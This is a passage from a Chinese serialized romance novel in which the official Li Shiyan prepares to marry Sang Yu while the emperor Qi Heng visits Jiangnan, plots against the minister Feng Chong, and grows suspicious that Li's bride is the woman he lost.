祁蘅登基后,第一件事便是整肃朝纲,把能动的能杀的,一个没留,全部换成了他信任的人。 动不了的,就暗中离间,施以控制和威慑,一点点不动声色的瓦解他们。 南元这才逐渐恢复生机,国泰民安,时和岁丰。 对贪官而言,这是杀伐果断的暴君。 但对百姓而言,这就是手段严明的仁君。 季明远不得不承认,祁蘅是个好皇帝。 这么多年,唯一没有除掉的,便是势力滔天、盘根错节的冯崇。 终于轮到他了。 “好,我陪陛下一起去。” —— 江南,沈府。 丫鬟们正忙着清点李识衍刚刚送来的定亲礼。 “这……这也太多了。” 沈夫人望着院子里堆成小山的红木箱子,很是意外:“三年前换婚书时就已经送过聘礼了,这孩子如今怎么还送啊?” 桑余扶住母亲的手,解释道:“是识衍一定要送。他说要把这一整套规矩全部重新来过,才完整。” 沈夫人点了点头,似是放下心来:“他待你很好。” 桑余对母亲露出一个依赖的笑。 沈夫人忽然鼻子一酸,一把将女儿搂进怀里:“娘才找回来你三年,你就要嫁给别人了……” “放心,”桑余靠在母亲肩头,闻着她身上熟悉的味道,“我以后,天天都回来看您。” —— 府衙。 得知李识衍要成婚的消息,柳青苑激动得差点跳起来,对着苍天连连作揖。 “老天开眼啊!我的识衍都快到而立之年了,终于要成婚了!” 李识衍无语地瞥他一眼,起身整理衣袖:“你这是什么话?” 柳青苑笑嘻嘻地凑过来:“你不知道,你再不娶妻生子,府衙的人都要怀疑你是不是有什么隐疾了!” “你再多说废话,我就让宋元把你嘴缝上。” 柳青苑连忙闭嘴。 他可是真见过李识衍缝别人的嘴,血丝呼啦的,他都快吐了,李识衍还能不动声色的望着那个细作笑。 眼看李识衍准备走,柳青苑连忙追上去:“哎,赵大人今日要宴请,你忘了?” “推了。”李识衍头也不回,“阿余约我一见。” 柳青苑眼睛一亮,一把拽住好友的袖子:“等等!该不会是……今晚就要入洞房了?” 李识衍耳根一热,回身给了他一拳:“胡说什么!” 柳青苑捂着胸口夸张地哀嚎,脸上却挂着促狭的笑:“反正你们都在官府备下了夫妻文书,早该了。” 他凑近李识衍,压低声音,“我这有几壶上好的‘醉花荫’,闻着味香清甜,但后劲十足,你带去,今夜两个人花前月下,你侬我侬,情到深处……” 话还没说完,李识衍又是一拳砸在他肩上,这次力道重了几分。 “柳青苑,从前怎么就没发现你这么龌龊?明日就把你那些破酒都砸了。” 柳青苑哈哈大笑,看着好友泛红的耳尖,知道他是真恼了。 李识衍这人表面温润如玉,内里却极重礼数。 对桑余更是珍而重之,从不越雷池半步。 “你瞧瞧,是你想法龌龊了吧?我可没说让你借着酒意做什么。只是你醉了,说出几句真心话不难吧?你醉了,不小心掀开了衣领不难吧?你醉了,不小心露出胸膛不难吧?你醉了,勾引不难吧?就你这张惊为天人的脸,若是微醺泛红,哪个女子看了不面红心跳?” 李识衍忍无可忍的闭眼,不等他说完,就已经头也不回的往外快步走了,上马车的动作都比平日里快几分。 柳青苑忍俊不禁,眼看时辰晚了,也不打算继续逗他了,便只身赶往赵大人府邸去了。 李识衍坐在马车里,指尖轻轻敲着窗沿。 方才柳青苑那些混账话还在耳边回荡,他越想越觉得荒唐——这人脑子里整日都在想些什么? 勾引…… 莫名其妙! 成何体统? 他李识衍对桑余,从不会用这种不堪手段! 第158章 这可是好酒 沈府,湖畔凉亭,桑余已经等在那里了。 她穿着一袭淡青色的长裙,发间只簪了一支白玉簪,趴在桌子上,撑着下巴看着柳凤凤折腾。 柳凤凤一身红衣,向来容色艳丽。 她将桌子上的点心小心翼翼的摆好,还在瓶子里巧思的插了朵娇艳的芙蓉。 桑余劝她:“凤凤,你坐下吧,晃的我心都乱了。” 柳凤凤皱眉,严肃的看着她,郑重其事:“今天叫识衍哥哥来,你可得还给我加把劲,别浪费了这花好月圆的地儿。” 桑余抿了抿唇:“今日是他生辰,我只是想同他说说话,不用弄这么大阵仗的,我们之间一向从简。” 柳凤凤摆了摆食指,说:“你不懂!” 桑余心里默默的想,柳凤凤定是在她书铺里又看了什么画本子。 柳凤凤突然“啊”一声,想起了什么,又小步跑回屋子,再回来时,怀里抱着一壶酒。 柳凤凤将其小心翼翼的放在桌子上,满意的拍拍手。 “这就妥善了!” 桑余有些勉为其难:“凤凤,我和识衍都不喝酒的。” “平常不喝今天必须得喝!这可是我从我哥屋里偷出来的私藏好酒,他三令五申不让我碰,说明定是最好的酒。” 桑余欲言又止。 柳凤凤放心的说:“我闻着也没什么味儿,不会醉的,你们就放心喝。” 刚说完,柳凤凤的丫鬟小跑过来,喊着:“来了来了!” 柳凤凤紧张起来,带着丫鬟就要跑路,临行前拍了拍桑余的肩膀,对她说了四个字。 任重道远。 桑余还没反应过来这句话是什么意思,一道身影便已经向她走来。 李识衍远远看见桑余戴着他去年亲手做的簪子,心中一软,仿佛浸了蜜水一般。 “阿星,我……” 他缓步走近,却在看清石桌上的东西时,整个人僵在了原地—— 几叠点心旁,放着一壶酒。 桑余见他来了,浅笑了笑,站起身:“你来了。” 李识衍喉结微动,目光落在那两壶酒上,一时间竟不知该说什么。 柳青苑那张欠揍的脸仿佛又浮现在眼前,带着促狭的笑:“花前月下,你侬我侬……” “怎么了?”桑余见他神色古怪,疑惑道,“是遇到了什么事?” 李识衍回过神,耳尖微热:“不,只是……” 他顿了顿,忽然觉得有些好笑。 自己这是怎么了? 不过是两壶酒而已,竟被柳青苑那混账带偏了思绪。 他在桑余对面坐下,温声问:“今天怎么突然想喝酒了?” 桑余看着那壶酒,想起柳凤凤地话,实在不忍辜负她的一番热情。 况且这酒闻起来,的确没有太浓的味道,倒是甜甜的。 李识衍不爱喝酒,她不想勉强他,便打算自己尝尝,给自己倒了一杯,说道:“是凤凤送来的,说是从柳大人那里拿的,闻着的确是好酒,便想尝尝。” 柳青苑的酒? 柳青苑说的催/情酒? 李识衍瞬间草木皆兵。 想到柳青苑那番不正经的话,忽然伸手拦住桑余:“等等!” 桑余举着酒杯,疑惑地望向他:“怎么了?” 李识衍耳根发烫,总不能说“这酒可能是柳青苑那个混蛋特意准备的催/情酒”。 他只能掩饰道:“你……这几日不是一直在喝药,大夫说过不能饮酒。” 桑余施以一个让他放心的笑:“没关系,大夫说可以浅酌的。” 她看着杯中晶莹的酒液,有些惋惜,“而且是凤凤特意送来的,不尝一口太可惜了。” 李识衍想到柳青苑说的“后劲十足”,生怕桑余喝醉后会失态会难受。 他几番斟酌,没了办法,只能硬着头皮道:“那……我一个人喝就好。” 桑余一怔,虽然不解,但还是乖巧地把酒杯递给他:“好吧,那你尝尝。” 李识衍急忙接过酒杯,一饮而尽。 酒液入喉,果然清甜可口,几乎尝不出酒味。 “怎么样?”桑余期待地问。 “很甜。”李识衍如实回答。 这么甜的酒,应该不会是柳青苑说的那种酒。 李识衍有些放下心来。 桑余又给他斟了一杯。 李识衍看她,问:“今日,怎么会突然想找我?” 桑余垂下眸,浅笑道:“今日是你生辰啊,这些都是我亲手做的。” 李识衍这才注意到,桌上的点心和菜式都是他平日爱吃的样式,他有些怔忡。 这些年忙于政务,他早已不记得自己的生辰。 但是,如今桑余记得。 “阿星……”他只觉得胸口一股热流,止不住眼眶发红,“你真好。” 桑余摇了摇头,又从袖中取出一个荷包,犹豫了一下,才递给他:“还有这个……” 李识衍低头看去,只见那荷包上绣着几枝青竹,针脚虽不算精细,却透着几分稚拙的可爱。 “我绣工不好,”桑余有些不好意思地低头,“只能绣竹子,学了很久才勉强能看。” 李识衍接过荷包,指尖轻轻抚过那歪歪扭扭的竹叶,心头涌起一阵暖意。 李识衍摇头:“才没有,很好看。” 桑余脸颊有些发烫,借着给他夹菜掩饰心动:“你多吃些,在府衙忙了整整一日了。” 李识衍点头,又连着喝了好几口酒。 夜风轻拂,带着湖水的清凉。 桑余说起沈齐的病好了,她终于不用再去布庄忙活了。 笑起来时,桑余的发丝被风吹起,面如桃花。 李识衍看过去,忽然觉得有些口干舌燥。 他下意识伸手,却在即将触及时顿住,缓缓收回。 桑余不明所以:“怎么了?” 李识衍摇摇头,开始觉得有些头晕。 后背渗出一层薄汗,有些燥热,不知道什么地方像点起了火。 他晃了晃脑袋,心中暗道不妙。 真是那种酒。 “识衍?”桑余察觉他的异样,担忧地凑近,“你脸色不对劲,是不是不舒服?” 李识衍望着近在咫尺的容颜,呼吸一滞。 月光下,桑余的眸子清澈如水,唇色如樱。 “阿星……”他的声音沙哑,强行克制,“我没事……” 第159章 祁蘅要到江南了 李识衍只见眼前桑余的容颜在月光下愈发朦胧美好,像被泛着涟漪的水面。 他用力眨了眨眼,试图保持清醒,却感到四肢如灌了铅般沉重。 “识衍?”桑余见他面色潮红,出了好些汗,连忙起身扶住他摇晃的身体,“是不是醉了?我送你回去。” “不……”李识衍下意识抓住桑余伸来的手,掌心滚烫的温度让桑余微微一颤。 他抬头,平日里清明如水的眸子此刻蒙着一层雾气,眼尾泛着不自然的红。 “阿星……”李识衍的声音沙哑,低低地唤着她的名字。 这幅样子有些吓到桑余了。 这酒才喝了几杯怎么醉成这个样子了? 桑余一只手扶着他,一只手拿起酒瓶嗅了嗅。 柳凤凤拿的是什么酒? 桑余仔细查看着酒,李识衍忽然倾身向前,一把揽住了她。 桑余惊呼一声,被猛地拽进了李识衍的怀里。 李识衍连呼吸都在发烫。 桑余知道了,柳凤凤拿的肯定是不对劲的酒。 她有些僵硬的坐在他怀中,李识衍将头埋在她的肩窝处。 桑余能清晰感受到他灼热的呼吸喷洒在颈侧,还带着淡淡的酒香。 “李识衍,我去给你请大夫解酒。” “我很高兴……” 桑余微怔,没有反应过来:“你说什么?” 李识衍的声音闷闷的,带着几分哽咽,“真的很高兴你愿意嫁于我……” 桑余心头一颤。 她想开口,却感到肩头传来一阵湿意。 桑余难以置信地低头去看他,李识衍……哭了? “当初……我多怕你会熬不下去……”李识衍的声音支离破碎,像是压抑多年的情绪终于找到了宣泄的出口,“你遍体鳞伤,身心受损,我连对你袒露我的心意都不敢,因为在那个时候我的心意不值一提,我只想先陪着你,走出来。” 桑余觉得心被揪了一下:“我都知道。” “可你不知道我究竟有多爱你,我什么都可以不要,我只想把你藏起来,任何人都没办法将你从我身边夺走。那三年……我每天都不敢睡得太沉……怕你一觉醒来你会离开,我又会回到一个人的日子……” 桑余的心像被一只无形的手紧紧攥住,她是第一次听见李识衍这么患得患失。 “李识衍。”她轻抚着他的后背,声音温柔,“都过去了。” 可李识衍的眼泪却止不住,他像个委屈的孩子般将脸埋在她肩头:“我总怕……怕你会后悔……怕你其实并不……” 未等李识衍说完,桑余突然轻轻捧起他的脸,在他唇上落下一个轻如蝶翼的吻。 李识衍僵住。 他睁大眼睛,失神错愕地望着她,不敢相信刚才发生了什么。 “阿星你……你亲了我?” 桑余冲他笑了笑,指尖轻轻拭去他眼角的泪痕:“所以,别哭了,我不会消失,也不会离开你。” 李识衍张了张口,似乎想说什么,可酒劲终于彻底冲垮了他的理智。 他的眼神渐渐涣散,身子一歪,直接倒在了桑余怀里。 桑余叹了口气,小心翼翼地让他靠在自己怀里。 她伸手牵起他的掌心,低声道:“你这样好的人,我怎么会后悔呢?” 月光如水,在湖面铺开一片碎银般的粼光。 晚风掠过亭角悬铃,两个人的心都动了。 —— 翌日,天光大亮。 李识衍缓缓醒转,一阵尖锐的疼痛从太阳穴直刺入脑。 “嘶——” 他抬手按住突突跳动的太阳穴,环顾四周一圈,确认是自己的府邸才松了口气。 缓了良久,李识衍才缓缓起身,游神一般走到桌边,给自己倒了杯水。 温水入喉的一刹那。=,昨夜零星的记忆碎片如潮水般涌来。 湖畔凉亭、桑余亲手绣的荷包、还有那壶该死的甜酒…… 一口水险些呛了出来,李识衍止不住咳嗽。 然后呢? 他不记得了! 他都做了什么? 有没有做什么对桑余不敬的事情?说什么糊涂话? 如果桑余被吓到了以后不见他了怎么办? “来人,备马!” 李识衍手忙脚乱地系着衣带,指尖都在发抖。 他必须立刻见到桑余,万一自己真的闯出祸事吓到她了…… 可刚走到院中,就见柳青苑面色凝重地疾步而来。 柳青苑甚少这样严肃。 李识衍心头一紧:“出什么事了?” 柳青苑压低声音,看着李识衍,说道:“刚接到加急密信,圣上三日后便到江南。” 李识衍神色骤然阴冷下来,指节捏得发白。 这些年为了不让祁蘅南下,李识衍每每都会远上京都觐见,可终究还是来了。 “许是他已经知道了我的身份,此次前来,想必,是为了和我联手除掉冯崇。” 柳青苑眉头紧锁:“那你的婚事……” “延后。”李识衍斩钉截铁,“绝不能让他见到阿星。” 就算当初是他亲手放走了桑余,可这些年,后宫无一妃嫔有子,不是陆晚宁从中作梗,就是他对桑余还念念不忘。 柳青苑会意,正要转身安排,忽又顿住:“可桑姑娘那边……” 李识衍垂下眼,想起桑余,他脸色才好了几分。 “我会亲自去说。” 不知道是因为什么,李识衍心中总觉得不安。 —— 与此同时,碧波江上。 祁蘅立于船头,江风拂动他玄色衣袍。 季远安站在他身侧,见他神色恍惚,便知他又在想谁。 “陛下,江南风大,还是回舱内吧。” 祁蘅恍若未闻,目光落在远处隐约可见的城郭轮廓上,一动不动。 “当初,各地州都寻便了桑余,是不是唯有江南对此事不甚上心?” 季远安倒觉得没什么:“李识衍那个人孤冷自傲,让他到处寻一个女子,他不愿也是正常。” 祁蘅眸色晦暗几分:“是啊,这一路快马快船,桑余一个人也不会到江南来。” 这一次南下,祁蘅是微服私访,就是不想惊动太多人。 不知道为什么,他忽然很想快点到江南。 麻木了整整三年,祁蘅第一次迫切地盼望什么。 他自己也不知道为什么。 第160章 不能让他们见面 柳青苑远远一望,见到船只,随即合上扇子,进了茶馆。 李识衍抬眼,放下茶杯,问:“人到了?” 柳青苑点头。 …… 一双苍白修长的手指挑开船舱的帘子,祁蘅躬身出来,被大亮的天光晃到了眼睛。 随之,他也看见了李识衍。 两人相视一笑。 祁蘅缓缓走下来,李识衍上前行礼,却被季远安按下。 祁蘅道:“不必了,人多眼杂,此次我到江南之事无人知晓。” 李识衍一笑:“明白了。” 柳青苑开口:“此番舟车劳顿,在下已为二位备下酒菜,请跟我来。” 几人到了雅间,整个阁楼只有四个人,李识衍和柳青苑才行礼。 祁蘅看了一眼酒菜,挑了挑眉:“不用多礼,先用膳。” 说罢,便吃了一口桌上摆着的桂花糕。 李识衍挑眉,随即也坐了下来。 祁蘅的确变了很多,跟三年前浑身的杀伐带刺判若两人。 李识衍在等他先说,看他是试探,还是单刀直入。 祁蘅果然先开了口。 他不紧不慢地说:“李卿三年前便请旨成婚,怎么后来,没听说大婚?” 李识衍顿筷,说:“下官和夫人已在官府备下文书,算是礼成。只是三年前初到江南,想先完成陛下委以之重任,所以无暇操心婚宴。” 祁蘅却好像很感兴趣:“令夫人倒是通情达理。” 李识衍看向祁蘅,无声笑道:“嗯,她的确是世上最好的女子,能娶到她,乃是臣此生之幸事。” 柳青苑沉吟不语,额上都冒了一层汗。 一旁的季远安看过去,觉得这柳青苑看起来有些古怪。 祁蘅搁下了筷子,弯弯绕绕够了,忽然直奔主题:“若是令尊还在,定会十分欣慰吧?” 李识衍不疾不徐地给祁蘅倒了杯茶,回道:“是,只可惜,家父看不到这一天了。” “令尊之事,朕已查明知晓。” 李识衍倒茶的手一顿,确认了祁蘅此番到来的真正目的。 他等的就是这一天。 冯崇,此次必死无疑。 —— 回去的路上,柳青苑感叹:“你还真是沉得住气,方才我坐在那里如芒在背,生怕陛下是不是知晓了什么。跟他一起的那个季远安,瞧着也不是个好对付的。” “陛下这次来,就带了他一个,自然不会是一般人。” “所以,就按照今日商议的,准备动手?” 李识衍温文尔雅地笑了笑:“但看陛下倒是不急,我们就按他说的做,他要掌权,我要冯崇死,这不算简单,得慢慢来。” 柳青苑点了点头,然后说道:“对了,我让凤凤一直陪着沈小姐呢,按照你说的,陛下来江南这件事,没让她知道。” “嗯。” “你也不必太多忧心,苏州城这么大,你将那二位安置的也远,不会碰上的。” 李识衍垂眸,说:“但愿如此。” —— 看着柳青苑与李识衍各自上了马车离开,季远安放下了窗子,回头看向祁蘅。 “陛下,为何看这李识衍,倒不像急着为父报仇的样子?” “他早料到我们今日来的目的了。”祁蘅给自己倒了杯茶,不疾不徐的开口:“他很会藏锋,想给朕一个看似被动的假象罢了。” 季远安微微思忖,冷笑一声:“将咱们安排在离他府衙这么远的地方,也是藏锋?” “或许是怕引人怀疑,毕竟我们察觉的事冯崇也察觉了,他身边一定有眼线。” 祁蘅放下杯子,觉得累了:“睡吧,明日,我们在苏州城好好转转,既然来了可不能白来。” “好。” 祁蘅想到了什么,神色浮上一丝柔和:“我听闻,苏州的桂花开的很好。” 季远安挑眉,想起祁蘅今日用膳时对那份桂花糕格外钟爱。 “是啊,陛下要去么?” “去看看吧。” 祁蘅时时刻刻都记得,桑余很喜欢桂花。 —— 桑余看到李识衍差人送来的书信。 他说,婚期要往后延了,近日不便多见。 “但我对阿星相思之意不减半分,望阿星不要生我的气。那日醉酒,实属意外,若是唐突,等他日相见,任阿星打罚可好?” 桑余看着信,不自觉的笑了,将信整整齐齐的叠起来,妥善收好。 李识衍说有事,就一定是很要紧的,婚事她不着急,反正两人心意相通,不急于一时。 桑余看过去,柳凤凤还坐在那儿,紧紧的盯着自己。 她有些不解:“凤凤,你已经在这儿待了一天一夜了,书铺不忙吗?” 柳凤凤急忙摆手:“不忙不忙,识衍哥哥让我陪着你,我可得仔仔细细的陪着你。” 桑余干巴巴的笑了笑:“可你不像陪着我,倒像是看着我。” 柳凤凤可从来不是能在一个地方待一天一夜的人。 柳凤凤磕磕巴巴的解释不清。 但桑余知道,李识衍这么做一定有他的道理,还是乖乖留在沈府为好。 —— 祁蘅和季远安看完桂花,两人便随处寻了个茶馆雅间休憩。 祁蘅从怀里掏出刚刚买的桂花荷包,放在鼻间闻了闻,清香沁人心脾,他无言的笑了。 小二奉上茶水:“二位慢用。” 底下说书的拍了板,一阵掌声雷动。 待人退下,季远安往下看了一眼,说道:“江南的百姓确比多年前民康物阜的多。” “所以李识衍这个人可以重用,身背血海深仇,登上高位却不是先想报仇,而是顾着百姓安乐,朝廷需要这样的能臣,我也需要。” 季远安笑道:“是啊,为了不负您的重托,连婚事都能延后三年。” 祁蘅收起荷包,懒懒一笑:“我倒是在想,李识衍这样复杂的人,该是什么样的女子,能让他当初一到江南就急着上旨成婚。” 【她的确是世上最好的女子,能娶到她,乃是臣此生之幸事。】 李识衍的话仍犹如耳畔。 昨日,李识衍说了那么多虚虚实实的话,唯独在说这句话时,是真心实意的。 若是自己当初也能这样不顾一切的放下身段去对桑余好,她也不会…… 祁蘅克制的皱起了眉,深深地吸了口气,才将那份心痛压制下去。 “远安,难道你不想去看看,能让李识衍这样权衡利弊的人都情深难抑,是个什么样的女子?” 季远安一怔。 祁蘅从不会在乎无关之事的。 他这么说,是想留有一个后手。 毕竟李识衍这个人,不求官位,不求财色,拿捏不透,难以捉摸。 若是想真正为自己所用,还是得将他在乎的人,牢牢的捏在手里,才放心。 第161章 祁蘅起了疑心 到了傍晚,茶馆的人都散的差不多了。 季远安将一锭银子放在说书人面前,那老艺人眼睛一亮,立刻将银子拢入袖中。 “二位爷想知道什么?小老儿在苏州城说书三十年,没有不知道的事。” “说说,你们江南刺史李大人妻子,是个什么样的。” 说书人捻着胡须笑了:“那位沈家大小姐啊,那可是苏州城出了名的美人,不过自幼体弱养在外祖家,三年前才病愈归家,听说……是从京城来的,” 祁蘅捏着茶盏的手指突然收紧,青白指节在瓷面上压出一道血痕。 三年前…… “她长什么模样?”祁蘅忽然开口,声音平静得异常。 “柳叶眉,杏仁眼,端的是温润大方,就是不喜见人,连老夫都没见过几次。"说书人咂摸着嘴,"沈老夫人常说,这女儿和小时候长得一模一样,就是身子骨弱了些。" 茶盏轻轻落在桌上,发出清脆的磕碰声。 季远安瞥见祁蘅紧绷的下颌线微微放松下来。 他点了点头,继续问:“那你可知他们之间是如何相识的?” “这您可问着了!”说书人拍腿笑道,“听沈家老仆说,李大人与沈小姐乃是指腹为婚的青梅竹马。只是小姐自幼多病在外养着,直到三年前才回府完婚。” 季远安点了点头,如此一听也是合理。 祁蘅垂眸饮尽杯中残茶,起身时衣袂带起一阵风。“走吧。” 暮色中的苏州河泛着碎金般的光斑。 季远安跟在祁蘅身后三步之遥,看着祁蘅背影在渐浓的夜色中显得格外孤峭。 “陛下方才问的那些,”季远安斟酌着词句,“是怀疑李识衍的妻子……” “三年前李识衍突然离京,桑余也是那时出宫,时间太巧。”祁蘅的声音混在桨声灯影里,“但既是青梅竹马,说明不会是她。” 季远安看见了祁蘅手背上的陈年旧疤,如今还泛着殷红的痕迹。 那是那次为了救桑余在火场留下的。 以太医院的本事,祛除这样的烫伤疤痕并不算难。 只能说,是祁蘅在刻意留着。 他忘不掉桑余,所以就连因为桑余落下的疤痕也甘之若饴。 “接下来呢?” “既然计划已成,不如我们就顺道等等李识衍大婚以后再走,如何?” 季远安明白了。 祁蘅是想通过此举,让李识衍心里明白,天子于他乃是皇恩浩荡,不要耍太多心思,毕竟,还要顾及身边亲人的死活。 —— 今夜桑余又做噩梦了。 梦里,她被无数双黏腻咸腥的血手摁在地上,抬不起头。直到一个人走近,冰凉的手指挑起她的下巴。 看清那人面容的一瞬间,桑余瞳孔骤缩,却连尖叫都无法出声,那些血手就伸进了她的喉咙,要将她撕裂。 是祁蘅。 祁蘅就那样冷冰冰的,看着自己被撕碎,然后凉薄的笑了。 察觉有人靠近,桑余猛的睁开眼睛。 李识衍正在小心翼翼的替桑余盖被子,他看到她在发抖,还以为桑余是冷了。 没想到桑余会突然惊醒。 更没想到,她睁开眼睛看向自己时,满眼的恐惧和警惕。 李识衍安抚的用指尖替她擦干净两鬓的汗,问她:“吓到你了?看看,头发都湿了。” 听到李识衍似是月光流水一般的声音,桑余才逐渐清醒。 她点了点头,还在害怕,“嗯,我做噩梦了。” 李识衍的手一顿。 果然,他一出现,她就开始做噩梦。 那个人,生来就会伤害桑余。 李识衍伸出手掌,贴在桑余的脸颊,轻轻摩挲,逗她:“我才几日没来看你,看来阿星现在是越来越离不开我了。” 从噩梦中醒来,只要看到李识衍,桑余才能确定自己还活着。 她伸手,一把抱住了李识衍的脖子。 “识衍,我们快点成婚吧,好不好?” 李识衍一顿,心微微拧着痛。 如果是从前,他听见桑余这样说,不知道能有多高兴。 李识衍闭了闭眼,抱着她,手指无意识的整理着她散在身后的黑色长发:“近日苏州城里来了几个烦人的家伙,我得将他们送走。” 桑余乖巧的点头,说:“好。” 两个人自从上次醉酒后就没再见,他们其实都很想念对方。 忽然,桑余想起了什么,松开李识衍,亮晶晶的眼睛看着他,问:“沈府宵禁,你怎么进来的?” 李识衍一怔,略微勉强的笑了笑:“让宋元翻墙进来给我开的门。” 桑余被逗笑了,嗔怪的皱起眉,说:“刺史大人夜里翻墙擅闯闺房,可真是不怕毁了自己的一世英名。况且,凤凤还在隔壁屋子,你不怕吓到她?” 柳凤凤可谓是尽职尽责,夜里都睡在沈府陪着桑余。 但李识衍看见桑余无意间露出的美人嗔怒的神情,仿佛心脏也被她攥紧了,目光不禁有些失神。 “她睡得比谁都沉,不会听见的。” 说话间,李识衍凑近桑余,用眉骨抵着她的额头,目光温柔眷恋:“阿星,许久没见你,我想的不行,可白日里不方便,只能夜里偷偷来才能甩掉那些讨厌的尾巴” 这话从一向端方自持的李识衍口中说出来,有种禁忌和荒唐。 他抬起眼眸,盯着桑余,牵着她的手也微微用力,“那天晚上,我好像记得,我们……接吻了?” 桑余微微懵了,然后眨了眨眼,想避开他的目光:“你……明明记得还要问我做什么?” “可我记不清,是谁主动的了。” 桑余觉得李识衍是在明知故问。 他从前可从来不会这样。 吻了他一下,好像就彻底打开了他心中藏了许久的私欲。 “我……我也忘了。” “阿星,何必在我醉酒的时候吻我?什么感觉我都记不清。” 他气息微微紊乱,目光炙热的追随着桑余。 桑余算是明白,他这是什么意思了。 第162章 深吻 李识衍的嗓音比平日低哑三分,在寂静的房间里像一捧温热的酒,熏得桑余耳尖发烫。 他这是在让自己吻他。 越来越大胆了。 桑余攥紧了李识衍的衣襟,丝质的面料在掌心皱出涟漪。 “我既然已经主动一次,便不会再主动第二次……唔!” 话音被吞没在突如其来的吻里。 这个吻与醉酒那晚不同,带着清醒的克制与试探。 李识衍的唇瓣微凉,在她瑟缩时骤然加深了这个吻。 一切的一切都被碾碎在交缠的呼吸间。 李识衍扣紧她的后颈,另一只手环住她腰肢,将她整个人压向自己。 这个吻不再克制,像是三年来所有隐忍的爱意终于决堤, 他的爱意,她的感激,最终化为齿列相撞的缠绵。 窗外的月光碎了满地,又被纱帐筛成细碎的银砂,落在李识衍微微散开的衣襟上。 他向来在朝堂上运筹帷幄的指尖,此刻正颤抖着托起她的下颌,仿佛对待易碎的瓷器。 “阿星……” 李识衍的唇短暂分离,又在桑余迷蒙睁眼的瞬间重新覆上。 这次是轻柔的啄吻,从唇角到耳垂,最后将脸埋在她颈窝深深吸气,“这一生,我们都不要再分开。” 桑余感觉到颈间有湿意。 她捧起李识衍的脸,看见他又红了眼眶,月光在他睫毛上凝成细小的光点,随着眨眼滚落。 “怎么又哭了?”桑余用指节擦去那点湿痕,自己声音也哑得不成样子:“这么爱哭?” 李识衍捉住她的手贴在胸口。 单薄寝衣下,心跳快得惊人。 “我怕这是梦。”他声音里带着笑,却更让人心疼,“阿余,我们快要成婚了,我好开心,好盼望那一天……” 话未说完,桑余突然仰头吻住他。 这个吻绵长却坚定,像是要把所有未言明的爱意都灌注进去。 她想告诉他,她也很盼望,也很开心。 分开时两人呼吸凌乱,额角相抵。 “这次感觉清楚了么?”桑余喘着气问。 李识衍低笑出声,一把将她搂进怀里。 但在她看不见的地方,眸色又沉了下来。 他知道曾经隐瞒桑余去向是欺君,纵容她以沈星之名生活是欺君。 也知道一定会有事情败露的那一天,可李识衍又觉得哪怕万劫不复也值得。 桑余察觉到李识衍的走神,问他:“感觉你心事很重的样子。” 李识衍轻笑:“没事,一些公事。对了,喜服看的怎么样了?” 桑余摇了摇头:“凤凤挑的喜服……怎么说呢,不适合我,太繁重了。” 李识衍摸着她的面颊,说:“那等我忙完了,我陪你一起去挑。我要让我的阿星,做最美的新娘子。” 桑余很开心的点头。 李识衍轻手轻脚地放下纱帐,哄着桑余睡着。 他俯身在她眉心落下一吻,指尖恋恋不舍地掠过她散在枕上的青丝,这才悄声退出房门。 刚转身,就听见西厢房传来木门“吱呀”一声。 柳凤凤提着灯笼僵在原地,杏眼瞪得溜圆。 烛光映出李识衍微乱的衣襟,再看向他身后虚掩的房门,少女的脸“腾”地红到耳根。 “我、我起夜……”她结结巴巴地转身,灯笼在慌乱中晃出一圈光晕,“什么都没看见!” 说完提着裙子一溜烟就跑回了屋。 —— 翌日清晨,驿站。 祁蘅正在吃桂花糕,和季远安商议要不要带个会做桂花糕的厨子回京城。 若是将来有朝一日,阿余回了宫,也可以让她尝尝江南的桂花糕。 李识衍亲自为祁蘅斟上明前龙井,“所有事情微臣均已料理妥善,陛下何时决定启程返京?” 祁蘅吹开茶沫,忽然笑了:“不走了。” 青瓷茶盏在李识衍手中微微一晃,茶水在案几上溅出几滴。 他神色如常地放下杯盏:“陛下是说……” “朕还没见过宫外的大婚是怎样的。”祁蘅饶有兴味地观察李识衍的反应,“这次正好想见识一下你的。” “陛下厚爱,臣惶恐。”他抬起眼帘,语气恭敬却带着提醒,“只是冯崇的眼线遍布江南,若知陛下微服在此……” 祁蘅突然倾身向前,一动不动地盯着他:“朕都不怕,你怕什么?” 他眯起眼睛,“怎么?李爱卿是不欢迎朕?” 阳光透过雕花窗棂,在李识衍脸上投下细碎光影。 他忽然展颜一笑,眼角眉梢俱是春风:“怎么会?这是臣莫大的荣幸。” “既如此,”祁蘅满意地靠回椅背,“那就安心准备你的婚事,朕和远安定会给你备一份大礼。” 李识衍点头,转瞬间,眼底浮起一层寒霜。 祁蘅收回目光时,忽然看见了李识衍腰间的荷包。 “李爱卿荷包上的刺绣倒是有趣。” 蹩脚的针线,在李识衍身上格格不入,实在不像是他身上会有的。 李识衍摘下来,温声道:“这是内人幼时帮我绣制的,陛下也知道,我与她青梅竹马,自幼情深,实在舍不得换。” 祁蘅挑了挑眉,一笑:“是么?” 一旁的季远安看向祁蘅,看来,祁蘅还是没放弃试探。 人家都说了是青梅竹马,怎么可能是桑余? 见李识衍准备离开,祁蘅看着桌子上的点心,忽然叫住了他。 “朕买了许多点心,味道不错,带回去一些给令夫人尝尝?” 李识衍目光下移,落在那份桂花糕上,眼底浮起浅淡的戏谑。 “实不相瞒,内人最不喜的,就是桂花味。” 祁蘅不动声色地盯着李识衍,李识衍也看着祁蘅。 他说“桂花”二字时,眉头轻皱,看来是真的没说谎。 祁蘅一笑,也没计较他婉拒赏赐,点了点头收回目光。 等李识衍走了,季远安终于是忍不住提醒祁蘅。 “你不能因为听她是三年前从京城来的,就对人家的妻子疑神疑鬼的吧?” 祁蘅抬眸,眸色透出决然的冷:“朕一向只信自己的直觉。” 自从他到了江南开始,就有一种直觉。 李识衍对他有敌意。 绝不仅仅是警惕和忌惮,而是真正的——敌意。 哪怕他藏得再好再深,可祁蘅还是察觉了。 祁蘅最擅长的,就是从一个人细微的表情里琢磨出他内心真正的想法。 “朕更觉得,一定要亲眼,去看看这位沈家嫡女的真面目。” 季远安觉得他疯魔了。 你对桑余有占有欲,可总不能对别人的妻子也有这么深的占有欲。 他叹了口气,还是盯着点他,免得惹出什么祸事。 李识衍那个人,也一定不是表面上那么简单。 若是他想动手,这里是江南,季远安可没十足的把握能护着祁蘅安然回京。 第163章 祁蘅回京 李识衍没有骗人。 现在的桑余的确不喜欢桂花香了。 不是厌恶,只是那抹甜腻再不能在她心头激起半分涟漪。 不爱一个人了,桂花就只是普通的桂花,与任何味道没有任何区别。 马车里,李识衍摩挲着腰间的荷包,想着祁蘅方才说要留下的事。 是为了给自己施加威慑,但又不止是这一个原因。 恐怕还因为……他已经开始怀疑什么了。 